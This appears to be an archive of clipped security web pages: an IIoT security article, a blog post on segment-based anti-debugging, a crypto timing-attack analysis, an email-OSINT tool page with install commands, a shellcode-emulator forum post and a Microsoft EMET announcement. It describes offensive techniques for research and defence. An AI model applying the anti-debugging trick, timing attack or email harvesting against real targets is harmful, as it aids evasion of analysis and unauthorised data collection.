**Updated:**| _5/8/2017 8:27:31 AM_  
**Author:**| __  
**Tags:**| _car-hacking iot automotive_  
  

  

# IIoT Grows, But So Do Risks

Things are coming together for the Industrial Internet of Things, but security
is a huge and growing issue.

May 4th, 2017 - By: Jeff Dorsch

<img src='img/Temp2_7387.png' width='30' height='27' alt='popularity' />

**By Jeff Dorsch & Ed Sperling**

After years of fitful progress, Industrial Internet of Things technology is
gaining adoption on the factory floor, in the electrical power grid, and other
areas that could do with greater amounts of data analysis and insights from a
connected ecosystem.

<img src='img/Temp2_7388.png' width='300' height='200' />

AT&T, General Electric, IBM, Verizon Communications, and other large
enterprises are actively engaging in IIoT and helping companies, big and
small, implement IIoT on their own, as part of a general embrace in the
Internet of Things construct, according to industry analysts and executives.
But connectivity, and all that it brings, comes at a price.

Emil Berthelsen, IoT research director at Machina Research \(acquired last
November by Gartner\), said IIoT is seeing more traction now. “It’s finally
really being adopted by the enterprises that are looking at it,” he notes. “A
lot of the enterprises, particularly in manufacturing industries and so on,
have seen IoT almost as a direct evolution from their SCADA connections, their
machine-to-machine connections, their telemetry. They’ve seen it as a nice,
slow, progressive evolution, and haven’t realized until very recently the
dynamics of IoT as compared to machine-to-machine \[communications\].”

That realization is becoming much more widespread. “They are definitely moving
from what I would call the pure monitoring and remote management of machines
to looking much more at the efficiencies in terms of performance and
automation of the machinery itself,” said Berthelsen. “What else can we do
with this connected environment that we now have through IoT? What we’ve seen
before is very much a monitoring and remote management operational
environment, and right now we see a much more data-driven organization. There
is much more digital transformation going on, and much more looking at the
data, which is allowing them to do further analytics, further analysis, and
really look at operational performance enhancements based on data rather than
real-time monitoring.”

This falls into the realm of predictive maintenance, which has become one of
the hot growth drivers for IIoT. Manufacturers are tying their programmable
logic controllers into operational technology legacy systems, providing a
point of convergence for these two worlds.

**Security issues**  
The good and bad of this convergence is that it depends on the Internet to be
effective. That makes it easy to set up and move data, but it also greatly
increases security risks. Until recently most industrial operations relied
almost exclusively on perimeter security. Many of them still do. In effect,
that provides a well-guarded entry point into a physical industrial operation
as well as its data. But when machinery—especially a control system—is
connected to the Internet, that approach falls apart.

“There has never been a focus on industrial control systems for shop floor and
manufacturing,” said Sean Peasley, partner at Deloitte Cyber Risk Services.
“There are controls in place, but they are managed by people on the operations
side who are just trying to keep the shop floor running. But as the
cybersecurity space has evolved, even when companies invest tens of millions
of dollars—and in the U.S. government’s case, billions of dollars—adversaries
are still able to get in and steal IP. What is needed is vigilance in
monitoring capabilities, and resilience to provide business continuity. That
includes everything from disaster recovery to war gaming if something happens
so you can get up and running to normal business.”

There is no simple formula for making this work because every industrial
operation is different.

“In IT, they may have a CIO or a CISO \(chief information security officer\),”
said Peasley. “In the plant, there may be a COO, plant manager and engineering
group. They may have dealt with security controls, but typically they’re at
the mercy of the plant operator and it’s not likely this has all been thought
through end-to-end. If they’ve done a risk assessment, they may comply with
ISO standards, but they still need a risk-based approach with a longer-term
view. It’s easy enough to get into an environment or to get to an insider. So
they have to think about higher risk than what they’ve done so far, and it has
to be a multi-year program.”

This is easier said than done, however.

“There are two larger problems that have to be dealt with,” said Robert Lee,
CEO of Dragos, and a national cybersecurity fellow at New America. “First,
there are not enough security experts. There are about 500 people in the
United States with security expertise in industrial control systems. There are
only about 1,000 worldwide. And second, most people don’t understand the
threats that are out there because they never existed in the industrial space.
So what they’ve been doing is copying and pasting industrial control solutions
into their ICS systems.”

Lee noted that there is no simple solution to securing IIoT systems. It
requires tracking signatures, setting a baseline, identification of anomalies,
and behavioral analytics. The latter piece is the most critical, because it
requires a deep knowledge of an industry. “Petrochemical is different than
another industry. With industrial control systems, you have to assume at the
end of the day that the perimeter will fail. A security architecture and
passive defenses make it defensible, but it will be humans that ultimately
make it defensible.”

So just how many attacks are there? It’s difficult to tell. Metrics are
generally based on how many instances there are of known malware installers.
Lee said the number is probably about 3,000 per year. But the sources of those
attacks may be more widespread than one might expect because each region has a
different signature. Once each is identified, companies can find traces of
hackers from those regions, but they generally have to be looking for them. So
while Russian and Chinese hackers are considered the culprits in the United
States and Europe, those are the ones that have been identified. India,
meanwhile, has focused on Pakistani hackers, which may or may not have
attacked companies in the United States and Europe.

**The value of data**  
One of the reasons security has become such a big issue for the IIoT is that
the data within these companies is extremely valuable and highly exposed.
While industrial data has always been valuable, illicitly tapping into it
generally required someone to be physically present. The IIoT changes that
equation.

“In a factory, there were limitations on access to data,” said Scot Morrison,
general manager of embedded runtime solutions at Mentor, a Siemens Business.
“It was limited by depth of the data, how far out you were, how many layers
there were, and the frequency of updates. That limited analysis. On average,
only about 5% of that data was analyzed, but at least they had it. By
connecting everything you enable better data analysis, but you also increase
the security risks.”

Historically, that data was also split between analog and digital data, and
being able to pull it all together was limited by the sheer volume and the
fact that it was in different formats. But the IIoT has changed that.
“Security is a bigger issue than ever. Being connected makes it possible to go
deeper and deeper into that data.”

In some highly competitive industries, such as petrochemicals, security is
considered a requirement.

“Certain industries are more willing to pay than others,” said Ron Lowman,
strategic manager for IoT at Synopsys. “But it’s really a Wild West of what
they need to support at a minimum, particularly in the IIoT.”

In other slices of the IIoT, there is huge resistance to paying for security
because it has never been included in the budget.

“Security is a big issue when it comes to quality,” said David Park, vice
president of marketing at Optimal+. “We can track the provenance of any
device. But it often depends on who the customers are. In many cases people
are not willing to pay unless there is a cataclysmic event.”

And making matters much worse, the most successful attacks in the IIoT go
unnoticed.

“Most attacks don’t get detected, which is the number one objective if you’re
an adversary,” said Paul Kocher, chief scientist in Rambus’ Cryptography
Research Division. “If you’ve recognized you’ve been breached, the attacker
already messed up. The ones that get detected are the ones that either have
business models that necessitate detection, like financial fraud, or they’re
amateurish and unlucky or working on such a scale that they’ve can’t hide. If
you look at what gets caught, there’s an awful lot that clearly is not being
reported on.”

**Benefits grow**  
Despite security issues, though, there are distinct advantages to
connectivity. It allows companies to see how equipment is being used and
updated, and it allows them to improve uptime through predictive analytics
about failures. On top of that, there are enough success stories that
companies see this as a necessary step to remaining competitive.

“Industrial IoT \(previously referred to as M2M\) has been around for quite a
while,” said Simon Arkell, general manager of software platforms and analytics
at Greenwave Systems. “What is currently driving exponential Industrial IoT
adoption is the change in cost and openness for connectivity, computation, and
the adoption of industry solutions that solve actual problems. Applications
like predictive maintenance and asset optimization are available at a fraction
of the cost and can be applied to assets in a reusable format because they
have been utilized successfully by others. There is a real ROI associated with
these solutions in terms of reductions in unplanned downtime, supply chain
optimization, and more optimal use of expensive assets.”

A number of standards also have been introduced to provide some structure to
this connectivity. Among them:

• The Industrial Internet Consortium’s Industrial IoT Connectivity Framework  
• OPC Foundation’s OPC Unified Architecture \(UA\)  
• Open Connectivity Foundation’s OIC Specification 1.1  
• OASIS’ MQTT v3.1.1. Many of the Cloud vendors, such as IBM, Microsoft, and
Amazon have adopted MQTT as the lightweight messaging protocol for their IoT
Cloud. MQTT is gaining much popularity because of its simplicity and ubiquity.
MQTT is small enough to run on a tiny Arduino board and powerful enough to
support large IIoT device installations.  
• The Linux Foundation just announced the launch of EdgeX Foundry. According
to the website, “It’s an open-source project to build a common open framework
for Internet of Things \(IoT\) edge computing and an ecosystem of
interoperable components that unifies the marketplace and accelerates
enterprise and Industrial IoT.” This will be interesting because the group
focuses on the edge vs. the whole IIoT stack.

Regarding the Industrial Internet Consortium, Arkell said, “Connectivity and
security seem to be the primary objectives, which is fitting, since these are
two of the top issues facing IIoT implementers. Although the founding members
are very large companies, the members range from individuals, academia to
government organizations. It’s important that the major players, led by the
Steering Committee, agree on big IIoT standards or they will never become
standards. It is in the best interest of the whole industry to have the large
players working together on standards. If they do, everyone will benefit —
large and small. Security, connectivity standards, and analytics architecture
are the top three things holding back the IIoT, probably in that order.
Security will stop an industry dead-in-its-tracks because of fear and
uncertainty. This is especially true for IIoT because many industrial systems
have never been connected to the Internet, so being connected to a network
opens them up to security concerns.”

Once connected, companies need to learn how to communicate and handle machine
data. This is where connectivity standards play a crucial role. “If you choose
proprietary communication protocols it can lock you out of leveraging a wider
array of platforms and flexible device management options,” Arkell noted. “In
IIoT, one organization may own the industrial device, but many organizations
have access to different systems in that device. This needs to be modeled and
addressed when designing authorization and permission frameworks. Assuming
IIoT connectivity is the means to delivering sensor data, the biggest
challenge then becomes how to architect for analytics. Analytics can happen at
many points in an IIoT architecture because there are many architectural tiers
from which machine data travels \(from device to cloud\). The success of IIoT
analytics won’t be dumping data to the cloud and analyzing it. It will be the
combination of real-time edge and cloud analytics working in harmony. Edge
analytics is one of the newer technologies for IIoT. This is because the
processing power at the edge \(gateway and device\) is now capable of handling
analytics and maybe even more importantly, required to make real-time
decisions at the point of data ingestion.

Another impediment to IIoT adoption is market fragmentation. There are few
vendors offering end-to-end solutions, and even those solutions are not equal
from one market to the next. On top of that, some of these industrial
operations were set up as much as a century ago. Each is unique, and data
formats that have been added into those systems vary greatly.

So while standards will help, they won’t solve everything. The International
Organization for Standardization \(ISO\), ISO/IEC JTC 1, and various consortia
are working on IoT standards, according to Machina Research’s Berthelsen. “The
issue is that the IoT is so wide, so big,” he said. “An overall, encompassing
standard – I don’t think we’ll get there.”

_**Related Stories**  
Data Leakage And The IIoT  
Connecting industrial equipment to the Internet offers big improvements in
uptime and efficiency, but it adds security issues.  
Smart Manufacturing Gains Momentum  
Problems remain for legacy infrastructure, but adoption will continue to grow
as gaps are identified and plugged.  
IoT Security Risks Grow  
Experts at the table, part 2: Mirai, Shodan, and where the holes are in
security; establishing a chain of trust from a solid root; how to future-proof
security.  
IoT, Architectures, And Security  
ARM CTO Mike Muller discusses how markets and technology are changing in a
very candid one-on-one interview._

  

  

# Protected Mode Segmentation as a powerful anti-debugging measure | j00ru//vx tech blog
**Created:**| _6/21/2011 8:04:23 AM_  
---|---  
**Updated:**| _6/21/2011 8:04:33 AM_  
**Author:**| __  
**Tags:**| _opinion anti-debugging x64_  
  

## Protected Mode Segmentation as a powerful anti-debugging measure

The segmentation functionality has been present on the Intel processors since
early stages of the CPU manufacturing. In real-mode, segments were the basis
of 16-bit memory management, allowing the operating system or application to
specify separate memory areas for different types of information, i.e. code,
regular data, stack and so on. When a more complex and powerful Protected Mode
was introduced in the x86 processors, the usage \(meaning\) of the six segment
registers was completely re-designed. From this point now on, these registers
would no longer hold an explicit memory offset \(as in real-mode\), but
instead they would be used to store so-called _Segment Selector_ values, which
are in turn pointers into one of the two segment descriptor tables: GDT or LDT
\(Global / Local Descriptor Table\). Because of the introduction of another
memory-management mechanism \(paging\), a great majority of the modern, main-
stream operating systems don’t make extensive use of segmentation; they
usually initialize GDT with trivial entries \(e.g. base=0×00000000,
size=0xffffffff\), and then completely ignore the existence of segments
\(except for user ↔ kernel transitions\). What is most important, however, is
that even though the mechanism is ignored by the OS design, the systems make
it possible for an application to set up its own LDT entries \(e.g.
_sys\_modify\_ldt_ on Linux, or _NtSetLdtEntries_ on Windows\). Consequently,
any process can locally make use of segmentation for its own purposes – e.g.
in order to implement a somewhat safer execution environment, or other
purposes.

More detailed information about segmentation and GDT/LDT management can be
found in Intel 64 and IA-32 Architectures Software Developer’s Manual: Volume
3A: System Programming Guide Part 1, and GDT and LDT in Windows kernel
vulnerability exploitation by me and Gynvael Coldwind. Any considerations made
further in the post are provided with regard to the Windows operating system,
which is the main subject of this write-up.

It turns out that the assumption about segment base being 0×00000000 at all
times is so strong, that most Windows application developers take it for
granted. This approach is usually successful, since most programs do not deal
with cpu-level execution flow characteristics. However, a certain group of
applications – **debuggers** – DO deal with such kind of data, e.g. when
controlling a thread’s execution flow \(performing step / trace operations\),
handling incoming debug events \(breakpoints\), monitoring thread stack
references and so on. Ideally, these programs should be well aware of the
segment’s existence, and not get fooled by making the base=0 assumption.
\(Un\)fortunately, neither the world is ideal, nor the common ring-3 debuggers
take custom segments into consideration. The question is – why? Are the
debuggers’ developers clueless, or the Windows Debugging API doesn’t provide
sufficient amount of information to the debugger? Let’s focus on exception
management \(most of the execution-related operations are based on
exceptions\), and find out.

Microsoft provides an event-driven model of process debugging \(similar to the
Linux signals\), which is also applied in the documented Debugging API. In
brief, a debugger must first attach to the debugee \(i.e. register itself as
the process debugger in the system\) by either calling DebugActiveProcess, or
simply creating a child process with the DEBUG\_PROCESS flag. Furthermore, the
debugger should resume process execution \(it is suspended upon debugger
attachment\), and wait for a _debug event_ to appear. The most straight-
forward debugger template for Windows looks similar the following:

[code]

    // Spawn a new process (pi = PROCESS_INFORMATION)
    
    ContinueDebugEvent(pi.dwProcessId, pi.dwThreadId, DBG_CONTINUE);
    
    DEBUG_EVENT DebugEv;
    while(1)
    {
      WaitForDebugEvent(&DebugEv,INFINITE);
    
      // Handle the event specified by DebugEv
    
      ContinueDebugEvent(DebugEv.dwProcessId, DebugEv.dwThreadId, DBG_CONTINUE);
    }
    
[/code]

The debug event can be one of nine possible types \(see the DEBUG\_EVENT
structure documentation\), most important which for us is
**EXCEPTION\_DEBUG\_EVENT**. The EXCEPTION\_DEBUG\_EVENT structure plays the
role of the event descriptor: it provides the exception type, address, and
additional information such as the memory reference type \(read/write\) and
operand, in case of STATUS\_ACCESS\_VIOLATION. Even though the faulting
instruction location is characterized by a CS:EIP pair, the
DebugEv.u.Exception.ExceptionRecord struct only informs about the latter
value:

**ExceptionAddress**

    
The address where the exception occurred.

In general, the MSDN library doesn’t make any explicit distinction between a
relative address \(i.e. the EIP value\), and an linear address – the actual
CS:EIP pair translated into an address where the code was executing at.
Furthermore, the debugging API specification \(and implementation\) silently
assumes that both of these values would always be equal, thus
_ExceptionAddress_ will always contain just the EIP register contents, at the
time of the exception generation. Any debugger that makes use of the
interface, and believes that the addresses passed to the debugger through
numerous structures are always linear, is prone to a bug, making it impossible
to dynamically analyze certain executable files.

In order to interpret the incoming exception descriptors properly, a debugger
must take the following steps to perform a valid address translation:

  1. Receive an _exception_ event
  2. Open the thread, which caused the exception \(or obtain the handle in any other way, e.g. look it up in a special table, updated on the CREATE\_THREAD\_DEBUG\_EVENT basis\)
  3. Call GetThreadContext with the CONTEXT\_SEGMENTS flag set, in order to obtain the value of CS:
  4. Call GetThreadSelectorEntry, in order to obtain the descriptor of the custom code selector \(i.e. get its base address\)
  5. Calculate the linear address as _Segment Base + ExceptionAddress_ \(or any other field, containing a relative address\)

Although the above list of steps is quite simple, it is worth to note that
MSDN doesn’t give a single clue, that any of the _address-oriented_ fields in
the Debug API structures might not store a valid linear address, which can be
relied on at all times. To my best knowledge, the two most commonly used
ring-3 debuggers \(Ollydbg, Immunity Debugger\) **DO NOT** properly interpret
the incoming addresses, consequently making it impossible for a RE to debug
\(i.e. put and catch breakpoints, step-by-step through instruction blocks\)
chunks of code executing under a custom segment. This phenomenon could be used
not only to completely prevent the user from live-debugging certain parts of
assembly code, but also fool the reverser in numerous, amusing ways \(e.g. map
some code at both the linear and logical execution address, making the user
think he analyzes a real chunk of code, while it’s actually a _fake_\).

The following screenshot presents the Immunity Debugger having serious
problems with an Division By Zero exception, generated within a custom code
segment \(Ollydbg, based on the same engine, behaves in the very same way\):

<img src='img/Temp2_6464.png' width='768' height='478' />

Ollydbg in trouble while dealing with a custom code segment

When it comes to addresses other than the instruction counter – such as
invalid memory reference operands \(specified in the
EXCEPTION\_RECORD.ExceptionInformation array\), an analogous situation doesn’t
exist. This time, however, the documentation directly informs the developer,
that the supplied value will be the final, linear address, by using the word
_virtual_ :

**EXCEPTION\_ACCESS\_VIOLATION**

The first element of the array contains a read-write flag that indicates the
type of operation that caused the access violation. If this value is zero, the
thread attempted to read the inaccessible data. If this value is 1, the thread
attempted to write to an inaccessible address. If this value is 8, the thread
causes a user-mode data execution prevention \(DEP\) violation.

The second array element specifies the **virtual** address of the inaccessible
data.

Although a matter of terminology, the additional _virtual_ annotation would be
most often understood as a _linear_ address, i.e. an address after the
segmentation evaluation. As far as implementational details are considered,
ExceptionInformation\[1\] is actually _guaranteed_ to contain the desired
value, because the operating system directly loads the contents of the CR2
register there, right after the exception takes place. The second Control
Register is, in turn, described by the following quotation:

> **CR2**  
>  Contains a value called Page Fault Linear Address \(PFLA\). When a page
> fault occurs, the address the program attempted to access is stored in the
> CR2 register.
Interestingly, another popular debugger \(WinDbg\), which can be also used for
regular user-mode application debugging, can easily manage code running in the
context of any segment \(the Microsoft guys seem to be more aware of their own
technology that 3-rd party developers, what a surprise <img
src='img/Temp2_6465.png' alt=':)' /> \):

<img src='img/Temp2_6466.png' width='707' height='446' />

Windbg implementing proper address translation

Yeah… that’s more or less it for today. I believe that this technique hasn’t
been publicly described, or implemented on a large scale anywhere on the net
\(in the context of anti-debugging measures, of course\), yet. If you would
like to work with a Proof of Concept code, there’s nothing easier than that:
just take a look at my & Gynvael’s Pimp CrackMe \(post: Pimp My CrackMe
contents results\). This part of the post:

> The engine of the CrackMe was actually created as a _Proof-of-Concept_
> project, which aims to present, how to take advantage of one, very
> interesting Intel x86 mechanism
referred to the method explained today. You can just launch your IDA, and see
how the code works right away, or you can also wait for Bartek to make the
contest submissions’ source code available for a wider audience. Either way,
have fun\!

BTW. Due to a holiday trip I am setting of tomorrow, the successive Sunday
Blog Entry \(which would originally appear on 26 June\) will be published with
a slight delay, earliest on Wednesday, 30 June. Take care\! <img
src='img/Temp2_6465.png' alt=':)' />

# Crypto Fails — Reasoning by Lego: The wrong way to think about...

**Created:**| _6/11/2015 10:12:34 AM_  
---|---  
**Updated:**| _6/11/2015 10:12:34 AM_  
**Author:**| __  
**Tags:**| _crypto_  
  

Scott Arciszewski from Paragon Initiative pointed me to this example of PHP
cryptography.

The code is bad and the crypto design is flawed, but as usual for this blog,
we can learn something from it. Let’s ignore the fact that it’s using
`MCRYPT_RIJNDAEL_256` \(the 256-bit _block_ version of Rijndael, not AES\)
instead of `MCRYPT_RIJNDAEL_128` \(real AES\), the fact that it’s not checking
the return value of `substr()`, and the fact that it’s passing a hexadecimal-
encoded key to a function that expects a binary string. I’ve covered all of
these failings on this blog before, so I won’t touch on them again.

Instead, let’s focus on two facts. First, it is doing “MAC then Encrypt”
\(MtA\), which means the Message Authentication Code \(MAC\) is being applied
to the plaintext message _before_ encryption – contrary to modern crypto
wisdom. Second, that the MAC is checked with a non-timing-safe comparison,
which means that if an attacker can get really precise timing measurements of
a failed decryption, they can find out how much of the MAC matches. In the
“Encrypt then MAC” \(EtM\) design, where the MAC is applied to the ciphertext
after encryption, this kind of a timing leak usually lets you forge a message.
But this time, the MAC is inside the ciphertext, encrypted, so at a first
glance, exploiting it seems more difficult.

Indeed, the issue was brought up in the comment section of the page. The
author of the code responded as follows:

I had written code for a constant-time text comparison of the MAC but then
realized that this is not an issue when using the MAC-then-encrypt method
because the MAC is only compared after decryption to verify that the data is
intact and the same as when it was encrypted. Since the correct MAC is only
exposed when the correct encryption key is used it doesn’t matter whether the
text comparison is done in constant-time or not. Changing to an encrypt-then-
MAC method \(requiring a constant-time MAC comparison\) would not be backwards
compatible with the current version.

Let’s follow the logic of this statement. On a broad level, they are claiming
that the timing attack does not matter because the MAC is inside the
encryption. What is their reasoning for this claim? There are two ways to
interpret what was written, depending on what you take “correct MAC” to mean.

In one interpretation, “correct MAC” means the MAC that’s stored within the
message, and they are saying you need the key to access it, so even if you
could use the timing channel to match the calculated MAC by twiddling the
“correct MAC” you couldn’t actually learn what it is. This reasoning is flawed
because to create a forgery you do not always need to know the MAC value, you
just need to produce some new ciphertext that the decryption machinery will
accept. Or perhaps they mean that even if you did know the calculated MAC
value, you still couldn’t place it inside the plaintext message without
knowing the encryption key. This assumes the encryption itself is providing
some sort of integrity protection. That may well be so, but a more rigorous
argument is necessary to justify it.

In the other interpretation, “correct MAC” means the MAC that’s computed from
the plaintext message after decryption. This reading is hard to interpret in a
positive light. It’s true that it’s only exposed after decryption with the
correct key, but the side-channel in the code leaks information about it right
after it is\!

Neither of these readings may be what the author really meant, but I am trying
to interpret their words in the best way possible.

I’m going to tell you how to attack against this code in just a moment, and
the fact that an attack exists demonstrates that the author’s reasoning must
be unsound. So why spend so many words analysing the argument? Because it is
an example of an extremely common mistake, which I’ll call **reasoning by
Lego**.

Reasoning by Lego happens when a designer or developer understands
cryptography as Lego blocks stacked together. The blue block \(the MAC\) is
sitting on top of the red block \(the encryption\), therefore the blue block
won’t fall down. Textbooks put cryptography algorithms on display as circuit
diagrams with primitives like ciphers and hashes wired up to data like keys
and plaintexts. This leads to the view that crypto algorithms should be
thought of as simple components wired together.

The Lego view is not wrong. It’s an intuitive way to think of crypto
algorithms when you’re writing the code. But it’s the wrong way to think about
cryptographic security. To talk about an algorithm’s security, you need to
consider the entire system as a whole. In your house, you can safely replace
an old incandescent lightbulb with a more energy-efficient compact fluorescent
without worrying that it will cause your microwave to explode. Cryptography is
different. Making a small change to one part of your algorithm can completely
break the other seemingly-unrelated parts. Just because the parts are
spatially separated in the circuit diagram doesn’t mean they don’t influence
each other. You need to look at the bigger picture.

Professional cryptographers do just that. Instead of reasoning from the bottom
up, as by saying, “The green Lego block is connected to the red Lego block in
this way, therefore the blue Lego block on top won’t fall over.” they take a
top-down approach, closer to, “Let’s suppose this Lego structure breaks in
_any_ way. The only way that’s possible \[rigorous proof details omitted\] is
if the green Lego block splits in two. We are assuming individual Lego blocks
do not break, so the whole structure will not break.”

In cryptographic terms, we start by assuming the system is vulnerable to a
specific kind of adversary. Usually, we give the adversary as much power as
possible. We let them encrypt chosen plaintexts and even decrypt chosen
ciphertexts. Then we prove a claim along the lines of, “If that adversary can
break the system as a whole \(the entire Lego structure\), then they can find
a collision in the hash function \(the indestructible Lego block\).” This sort
of reasoning lets us prove, formally, that if the crypto primitives we’re
using \(ciphers, hash functions, MACs\) are secure, then the system as a whole
is secure. That is the right way to reason about security in cryptography.

I’ve personally found that the top-down mindset is a good way to _break_ bad
cryptography, too. If you want to break some crypto, first find an attack that
shows it isn’t secure according to the strict formal definitions of security
\(IND-CPA, IND-CCA2, etc.\). The formal definitions of security are so strict
that the attack you find might not have any practical relevance at all. Next,
take that weakness and find a way to turn it into into a practically-relevant
attack. For me, this works nearly every time.

### The Attack \(Proof of Concept\)

Okay, I promised you earlier that I had an actual attack against this PHP
encryption code, and now it’s time to deliver.

I like this attack because it demonstrates everything I’ve been saying up
until now. On the Lego block view, the timing side-channel in the code only
seems relevant to message integrity. We were so distracted by integrity that
we forgot to consider its effect on confidentiality. It turns out to have a
big effect. The attack I found lets an attacker decrypt the first byte of
every block in a ciphertext. The only preconditions are: \(1\) The attacker
needs some \(less than 2000\) known plaintext blocks, and \(2\) the attacker
needs to be able to provide ciphertexts to the decryption function and get an
accurate measure of the running time \(i.e. they can exploit the side-
channel\).

I’m not going to explain the attack here. I feel like doing so would distract
away from the message of this post. If you are interested, you can find a
simulated proof of concept implementation of the attack here. The code is
well-commented, so if you want to know how it works, you should be able to
understand it by reading \(and running\) that code.

In the proof of concept, I’ve removed the `serialize()` and `unserialize()`
calls, as well as the call to `trim()`. I’ve also modified the decryption
function to return `0` if the MAC comparison fails on the first byte or `1` if
the MAC comparison makes it past the first byte, simulating a side-channel
with one-byte granularity.

I made these changes to make the attack easier and more reliable. Without the
changes, the attack is still possible _in theory_ , but much harder to
demonstrate. In particular, string-comparison timing leaks do not have one-
byte granularity in practice. Instead, strings are usually compared word-by-
word \(4 or 8 bytes at a time\), which increases the number of decryption
queries required to carry out the attack. If the reader is interested, they
might try to get the attack working in a realistic setting.

As they say, “Attacks always get better; they never get worse.”

When we reason by Lego, we destroy the environment in favor of saving a single
tree. In this case, we got distracted into thinking about MACs and forgeries
and forgot to check the other security properties. Yes, that blue Lego block
is held up by the red block, but until we took a step back, we couldn’t see
that the red block was hanging off the edge, about to fall, bringing the blue
block with it.

Thinking of cryptography as Lego blocks put together will lead you astray. If
you want to build secure cryptography, insist on a security proof in a strict
model with powerful adversaries. If you want to break cryptography, start by
showing that it isn’t secure in a strict model, and then find a way to turn
those weaknesses into practical attacks.

### I Consult

If you would like to hire me to find the problems with your crypto design or
some bugs in your code, you can find more information about my consulting
services here.

# Infoga v3.0 - Email Information Gathering

**Created:**| _5/7/2017 10:21:33 AM_  
---|---  
**Updated:**| _5/7/2017 10:21:33 AM_  
**Author:**| __  
**Tags:**| _OSINT_  
  

  

# Infoga v3.0 - Email Information Gathering

<img src='img/Infoga_01.png' width='576' height='243' />

Infoga is a tool for gathering e-mail accounts information from different
public sources \(search engines, pgp key servers\). Is a really simple tool,
but very effective for the early stages of a penetration test or just to know
the visibility of your company in the Internet.

<img src='img/5746_faraday-728x90+%282%29.png' width='576' height='71' />

**Installation**

[code]

    git clone https://github.com/m4ll0k/Infoga.git
    cd Infoga
    pip install -r requires.txt
    python infoga.py
[/code]

  
**ScreenShots**

<img src='img/Infoga_02.png' width='576' height='292' />

**Download Infoga**

<img src='img/5748_faraday-336x280+%281%29.png' width='336' height='280' />

  
  
Subscribe via e-mail for updates\!

  

# scdbg

**Created:**| _2/15/2011 7:59:28 AM_  
---|---  
**Updated:**| _2/15/2011 8:00:08 AM_  
**Author:**| __  
**Tags:**| _shellcode Debugging_  
  
**Topic created on:** February 11, 2011 08:41 CST by **dzzie <img
src='img/Temp2_10619.gif' />**.  
  
here is a project i have been playing with that I thought I would share.  
  
scdbg is a shellcode analysis application \(based on sctest\) which uses the
libemu emulation library.  
  
It has been modified to include more output for manual RE  
as well as add basic debugging capabilities.  
  
libemu homepage  
http://libemu.carnivore.it/  
  
scdbg Binaries / Source / Screen shots:  
http://sandsprite.com/blogs/index.php?uid=7&pid=152  
  
Video demo  
http://sandsprite.com/CodeStuff/scdbg.wmv  
  
more details on mem monitor mode  
http://sandsprite.com/blogs/index.php?uid=7&pid=158  
  
`  
Additions include:  
+ support for user32, shell32, ntdll, wininet  
+ ~17 new api hooks  
+ display of return addresses, file offsets, step counts  
+ ability to start logging at target addresses/step counts  
+ ability to set breakpoints, scan for specific instructions  
+ ability to single step, step over, execute till return  
+ ability to dump decoded shellcode from memory, dump allocs  
+ interactive debug shell to stop and examine registers or memory  
+ basic support for SEH and shellcode which patches UEF  
+ monitoring of read/writes to key addresses to determine  
how the shellcode operates, which lists it walks, and if it  
trys to detect hooks on WinApi or if it patches any API  
  
  
Help screen below  
  
_______________  
| |  
| |  
| libemu |  
| x86 emulation |  
| |  
| |  
| |  
\ O |  
\______________| build: 0.2.dz  
  
-----[ libemu - x86 shellcode emulation ]-----  
Copyright (C) 2007 Paul Baecher & Markus Koetter  
  
/hex show hex dumps for hook reads/writes  
/findsc Scans file for possible shellcode buffers (getpc mode)  
/foff hexnum starts execution at file offset  
/mm enables Memory Monitor to log access to key addresses.  
/mdll uses Memory Monitor to log direct access to dll memory (detect hooks)  
/nc no color (if using sending output to other apps)  
/S < file.sc read shellcode/buffer from stdin  
/f fpath load shellcode from file specified.  
/o hexnum base offset to use (default: 0x401000)  
/redir ip:port redirect connect to ip (port optional)  
/G fpath save a dot formatted callgraph in filepath  
/i enable interactive hooks  
/v verbosity, can be used up to 4 times, ex. /v /v /vv  
/e int verbosity on error (3 = debug shell)  
/t int time to delay (ms) between steps when v=1 or 2  
/h show this help  
/bp hexnum set breakpoint (shortcut for -laa <hexaddr> -vvv)  
/bs int break on step (shortcut for -las <int> -vvv)  
/a adjust offsets to file offsets not virtual  
/d dump unpacked shellcode if changed (requires /f)  
/las int log at step ex. -las 100  
/laa hexnum log at address ex. -laa 0x401020  
/s int max number of steps to run (def=1000000, -1 unlimited)  
  
dbg> shell prompt commands:  
? - help, this help screen, h also works  
v - change verbosity (0-4)  
g - go - continue with v=0  
s - step, continues execution, ENTER also works  
c - reset step counter  
r - execute till return (v=0 recommended)  
u - unassembled address  
b - break at address  
m - reset max step count (-1 = infinate)  
e - set eip  
w - dWord dump,(32bit ints) prompted for hex base addr and then size  
d - Dump Memory (hex dump) prompted for hex base addr and then size  
x - execute x steps (use with reset step count)  
t - set time delay (ms) for verbosity level 1/2  
k - show stack  
i - break at instruction (scans disasm for next string match)  
f - dereF registers (show any common api addresses in regs)  
o - step over  
.lp - lookup - get symbol for address  
.pl - reverse lookup - get address for symbol  
.seh - shows current value at fs[0]  
.reg - manually set register value  
.poke1 - write a single byte to memory  
.poke4 - write a 4 byte value to memory  
.savemem - saves a memdump of specified range to file  
q - quit  
`

  

# Security Research & Defense : Announcing the release of the Enhanced
Mitigation Evaluation Toolkit

**Created:**| _10/28/2009 6:02:43 PM_  
---|---  
**Updated:**| _10/28/2009 6:02:51 PM_  
**Author:**| __  
**Tags:**| _security tools research Microsoft_  
  

## Announcing the release of the Enhanced Mitigation Evaluation Toolkit

Even as you read this, people around the world are hunting for vulnerabilities
in software applications. Odds are some of them will be successful. Depending
on their motives and what they find, your software and systems may be put at
risk. So how do you protect your software from unknown vulnerabilities that
may or may not exist? One option is to use security mitigations.

Microsoft offers a number of different mitigation technologies that are
designed to make it more difficult for an attacker to exploit vulnerabilities
in a given piece of software. Take a look at Michael Howard’s article
“Protecting Your Code with Visual C++ Defenses”
\(http://msdn.microsoft.com/en-us/magazine/cc337897.aspx\) for a brief
overview of some of these technologies.

To help on this front, we are announcing the initial release of a new utility
called the Enhanced Mitigation Evaluation Toolkit \(EMET\). Version 1.0.2 is
now available, free of charge at the Microsoft Download Center
\(http://go.microsoft.com/fwlink/?LinkID=162309\). This utility builds on our
current offerings in several key ways:

1. Until now, many of the available mitigations have required for an application to be manually opted in and recompiled. EMET changes this by allowing a user to opt in applications via a simple command-line utility without recompilation. This is especially handy for deploying mitigations on software that was written before the mitigations were available and when source code is not available.
2. EMET provides a higher degree of granularity by allowing mitigations to be applied on a per process basis. There is no need to enable an entire product or suite of applications. This is helpful in situations where a process is not compatible with a particular mitigation technology. When that happens, a user can simply turn EMET off for that process.
3. Mitigations that have previously been limited to up-level versions of Microsoft Windows now ship with EMET and are available down-level. Users can benefit from these mitigations without the need to upgrade their systems.
